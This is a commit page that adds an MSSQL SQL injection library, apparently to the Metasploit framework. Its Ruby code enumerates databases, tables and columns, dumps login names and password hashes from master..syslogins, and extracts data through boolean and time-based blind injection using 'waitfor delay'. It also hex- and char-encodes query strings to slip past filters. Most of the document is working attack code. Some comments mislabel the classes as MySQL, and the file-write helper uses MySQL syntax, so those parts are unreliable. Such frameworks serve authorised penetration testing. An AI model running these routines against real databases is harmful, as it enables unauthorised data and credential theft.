Skip to content

Commit 87a21bd

Browse files
committed
Add the MSSQL injection library
1 parent 39aa17f commit 87a21bd

File tree

5 files changed

+355
-53
lines changed

5 files changed

+355
-53
lines changed
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
module Msf::Exploit::SQLi::Mssqli
2+
end
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
#
2+
# Boolean-Based Blind SQL injection support for MySQL
3+
#
4+
class Msf::Exploit::SQLi::Mssqli::BooleanBasedBlind < Msf::Exploit::SQLi::Mssqli::Common
5+
include Msf::Exploit::SQLi::BooleanBasedBlindMixin
6+
7+
#
8+
# This method checks if the target is vulnerable to Blind boolean-based injection by checking that
9+
# the values returned by the bloc for some boolean queries are correct.
10+
#
11+
def test_vulnerable
12+
out_true = blind_request('1=1')
13+
out_false = blind_request('1=2')
14+
out_true && !out_false
15+
end
16+
end
Lines changed: 300 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,300 @@
1+
# coding: ascii-8bit
2+
3+
require 'base64'
4+
#
5+
# This class represents a Microsoft SQL Server Injection object, its primary purpose is to provide the common queries
6+
# needed when performing SQL injection.
7+
# Instanciate it only if you get the query results of your SQL injection returned on the response.
8+
#
9+
module Msf::Exploit::SQLi::Mssqli
10+
class Common < Msf::Exploit::SQLi::Common
11+
#
12+
# Encoders supported by Microsoft SQL Server
13+
# Keys are MSSQL function names, values are decoding procs in Ruby
14+
#
15+
ENCODERS = {
16+
hex: {
17+
encode: 'master.dbo.fn_varbintohexstr(CAST(^DATA^ as varbinary(max)))',
18+
decode: proc { |data| Rex::Text.hex_to_raw(data.start_with?('0x') ? data[2..-1] : data) }
19+
}
20+
}.freeze
21+
22+
#
23+
# See SQLi::Common#initialize
24+
#
25+
def initialize(datastore, framework, user_output, opts = {}, &query_proc)
26+
opts[:concat_separator] ||= ','
27+
if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
28+
# if it's a String or a Symbol, use a predefined encoder if it exists
29+
opts[:encoder] = opts[:encoder].downcase.intern
30+
opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
31+
end
32+
super
33+
end
34+
35+
#
36+
# Query the Microsoft SQL Server version
37+
# @return [String] The Microsoft SQL Server version in use
38+
#
39+
def version
40+
call_function('@@VERSION')
41+
end
42+
43+
#
44+
# Query the current database name
45+
# @return [String] The name of the current database
46+
#
47+
def current_database
48+
call_function('DB_NAME()')
49+
end
50+
51+
#
52+
# Query the hostname
53+
# @return [String] The hostname of the server running Microsoft SQL Server
54+
#
55+
def hostname
56+
call_function('@@SERVERNAME')
57+
end
58+
59+
# Query the current user
60+
# @return [String] The username of the current user
61+
#
62+
def current_user
63+
call_function('user_name()')
64+
end
65+
66+
#
67+
# Query the names of all the existing databases
68+
# @return [Array] An array of Strings, the database names
69+
#
70+
def enum_database_names
71+
dump_table_fields('master..sysdatabases', %w[name]).flatten
72+
end
73+
74+
#
75+
# Query the names of the tables in a given database
76+
# @param database [String] the name of a database, or nil or an empty string for the current database
77+
# @return [Array] An array of Strings, the table names in the given database
78+
#
79+
def enum_table_names(database = '')
80+
sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects"
81+
dump_table_fields(sysobjects_tbl, %w[name], "xtype='U'").flatten
82+
end
83+
84+
def enum_view_names(database = '')
85+
sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects"
86+
dump_table_fields(sysobjects_tbl, %w[name], "xtype='V'").flatten
87+
end
88+
89+
#
90+
# Query the mssql users (their username and password), this might require root privileges.
91+
# @return [Array] an array of arrays representing rows, where each row contains two strings, the username and password
92+
#
93+
def enum_dbms_users
94+
# might require root privileges
95+
dump_table_fields('master..syslogins', %w[name password])
96+
end
97+
98+
#
99+
# Query the column names of the given table in the given database
100+
# @param table_name [String] the name of the table of which you want to query the column names, can be: database.table
101+
# @return [Array] An array of Strings, the column names in the given table belonging to the given database
102+
#
103+
def enum_table_columns(table_name)
104+
table_schema_condition = ''
105+
if table_name.include?('.')
106+
database, table_name = table_name.split(/\.{1,2}/)
107+
database += '..'
108+
else
109+
database = ''
110+
end
111+
dump_table_fields("#{database}syscolumns", %w[name],
112+
"id=(select id from #{database}sysobjects where name='#{table_name}')").flatten
113+
end
114+
115+
#
116+
# Query the given columns of the records of the given table, that satisfy an optional condition
117+
# @param table [String] The name of the table to query
118+
# @param columns [Array] The names of the columns to query
119+
# @param condition [String] An optional condition, return only the rows satisfying it
120+
# @param num_limit [Integer] An optional maximum number of results to return
121+
# @return [Array] An array, where each element is an array of strings representing a row of the results
122+
#
123+
def dump_table_fields(table, columns, condition = '', num_limit = 0)
124+
return '' if columns.empty?
125+
126+
one_column = columns.length == 1
127+
column_names = columns
128+
129+
if one_column
130+
columns = "cast(isnull(#{columns.first},'#{@null_replacement}') as varchar(max))"
131+
columns = @encoder[:encode].sub(/\^DATA\^/, columns) if @encoder
132+
else
133+
columns = columns.map do |col|
134+
col = "cast(isnull(#{col},'#{@null_replacement}') as varchar(max))"
135+
@encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
136+
end.join("+'#{@second_concat_separator}'+")
137+
end
138+
unless condition.empty?
139+
condition = ' where ' + condition
140+
end
141+
num_limit = num_limit.to_i
142+
limit = num_limit > 0 ? ' top ' + num_limit.to_s : ''
143+
retrieved_data = nil
144+
identifier_generator = Rex::RandomIdentifier::Generator.new
145+
if @safe
146+
# no group_concat, leak one row at a time
147+
count_item = 'cast(count(1) as varchar(max))'
148+
count_item = @encoder ? @encoder[:encode].sub(/\^DATA\^/, count_item) : count_item
149+
row_count = run_sql("select #{count_item} from #{table}#{condition}")
150+
row_count = @encoder ? @encoder[:decode].call(row_count).to_i : row_count.to_i
151+
num_limit = row_count if num_limit == 0 || row_count < num_limit
152+
# generate a random alias for every column name
153+
item_alias, row_alias, tab_alias = 3.times.map { identifier_generator.generate }
154+
retrieved_data = num_limit.times.map do |current_row|
155+
if @truncation_length
156+
truncated_query("select top(1) substring(#{item_alias},^OFFSET^,#{@truncation_length}) from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}")
157+
else
158+
run_sql("select top(1) #{item_alias} from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}")
159+
end
160+
end
161+
elsif num_limit > 0
162+
# if limit > 0, an alias will be necessary
163+
alias1, alias2 = 2.times.map { identifier_generator.generate }
164+
if @truncation_length
165+
retrieved_data = truncated_query("select substring(string_agg(#{alias1}, '#{@concat_separator}')," \
166+
"^OFFSET^,#{@truncation_length}) from (select #{limit}#{columns} #{alias1} from #{table}"\
167+
"#{condition}) #{alias2}").split(@concat_separator || ',')
168+
else
169+
retrieved_data = run_sql("select string_agg(#{alias1},'#{@concat_separator}')"\
170+
" from (select #{limit}#{columns} #{alias1} from #{table}#{condition}) #{alias2}").split(@concat_separator || ',')
171+
end
172+
elsif @truncation_length
173+
retrieved_data = truncated_query("select #{limit}substring(string_agg(#{columns},'#{@concat_separator}')," \
174+
"^OFFSET^,#{@truncation_length}) from #{table}#{condition}").split(@concat_separator || ',')
175+
else
176+
retrieved_data = run_sql("select #{limit}string_agg(#{columns},'#{@concat_separator}')" \
177+
" from #{table}#{condition}").split(@concat_separator || ',')
178+
end
179+
180+
retrieved_data.map do |row|
181+
row = row.split(@second_concat_separator)
182+
@encoder ? row.map { |x| @encoder[:decode].call(x) } : row
183+
end
184+
end
185+
186+
#
187+
# Checks if the target is vulnerable (if the SQL injection is working fine), by checking that
188+
# queries that should return known results return the results we expect from them
189+
#
190+
def test_vulnerable
191+
random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
192+
random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
193+
run_sql("select '#{random_string}'") == random_string
194+
end
195+
196+
#
197+
# Attempt writing data to the file at the given path
198+
#
199+
def write_to_file(fpath, data)
200+
run_sql("select '#{data}' into dumpfile '#{fpath}'")
201+
end
202+
203+
private
204+
205+
#
206+
# Helper method used in cases where the response is truncated.
207+
# @param query [String] The SQL query to execute, where ^OFFSET^ will be replaced with an integer offset for querying
208+
# @return [String] The query result
209+
#
210+
def truncated_query(query)
211+
result = [ ]
212+
offset = 1
213+
loop do
214+
slice = run_sql(query.sub(/\^OFFSET\^/, offset.to_s))
215+
offset += @truncation_length # should be same as @truncation_length for most cases
216+
result << slice
217+
vprint_status "{SQLi} Truncated output: #{slice} of size #{slice.size}"
218+
print_warning "The block returned a string larger than the truncation size : #{slice}" if slice.length > @truncation_length
219+
break if slice.length < @truncation_length
220+
end
221+
result.join
222+
end
223+
224+
#
225+
# Checks the options specific to Microsoft SQL Server (if any)
226+
#
227+
def check_opts(opts)
228+
unless opts[:encoder].nil? || opts[:encoder].is_a?(Hash) || ENCODERS[opts[:encoder].downcase.intern]
229+
raise ArgumentError, 'Unsupported encoder'
230+
end
231+
232+
super
233+
end
234+
235+
def call_function(function)
236+
function = @encoder[:encode].sub(/\^DATA\^/, function) if @encoder
237+
output = nil
238+
if @truncation_length
239+
output = truncated_query("select substring(#{function},^OFFSET^,#{@truncation_length})")
240+
else
241+
output = run_sql("select #{function}")
242+
end
243+
output = @encoder[:decode].call(output) if @encoder
244+
output
245+
end
246+
247+
def blind_detect_length(query, timebased)
248+
if_function = ''
249+
sleep_part = ''
250+
if timebased
251+
if_function = 'if(' + if_function
252+
sleep_part += ") waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'"
253+
end
254+
i = 0
255+
output_length = 0
256+
loop do
257+
output_bit = blind_request("#{if_function}cast(datalength(cast((#{query}) as varchar(max))) as bigint)&cast(#{1 << i} as bigint)=0#{sleep_part}")
258+
output_length |= (1 << i) unless output_bit
259+
i += 1
260+
stop = blind_request("#{if_function}cast(datalength(cast((#{query}) as varchar(max))) as bigint)/cast(#{1 << i} as bigint)=0#{sleep_part}")
261+
break if stop
262+
end
263+
output_length
264+
end
265+
266+
def blind_dump_data(query, length, known_bits, bits_to_guess, timebased)
267+
if_function = ''
268+
sleep_part = ''
269+
if timebased
270+
if_function = 'if(' + if_function
271+
sleep_part += ") waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'"
272+
end
273+
output = length.times.map do |j|
274+
current_character = known_bits
275+
bits_to_guess.times do |k|
276+
# the query below: the inner substr returns a character from the result, the outer returns a bit of it
277+
output_bit = blind_request("#{if_function}ascii(substring(cast((#{query}) as varchar(max)), #{j + 1}, 1))&#{1 << k}=0#{sleep_part}")
278+
current_character |= (1 << k) unless output_bit
279+
end
280+
current_character.chr
281+
end.join
282+
output
283+
end
284+
285+
#
286+
# Encodes strings in the query string as hexadecimal numbers
287+
#
288+
def hex_encode_strings(query)
289+
# for more encoding capabilities, run code at the beginning of your block
290+
query.gsub(/'.*?'|".*?"/) do |match|
291+
str = match[1..-2]
292+
if str.empty?
293+
"left(char(#{rand(0..255)}),0)"
294+
else
295+
str.each_codepoint.map { |code| "char(#{code})" }.join('+')
296+
end
297+
end
298+
end
299+
end
300+
end
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
#
2+
# Time-Based Blind SQL injection support for MySQL
3+
#
4+
class Msf::Exploit::SQLi::Mssqli::TimeBasedBlind < Msf::Exploit::SQLi::Mssqli::Common
5+
include ::Msf::Exploit::SQLi::TimeBasedBlindMixin
6+
7+
#
8+
# This method checks if the target is vulnerable to Blind time-based injection by checking if
9+
# the target sleeps only when a given condition is true.
10+
#
11+
def test_vulnerable
12+
# run_sql and check if output is what's expected, or just check for delays?
13+
out_true = blind_request("if(1=1) waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'")
14+
out_false = blind_request("if(1=2) waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'")
15+
out_true && !out_false
16+
end
17+
end

0 commit comments

Comments
 (0)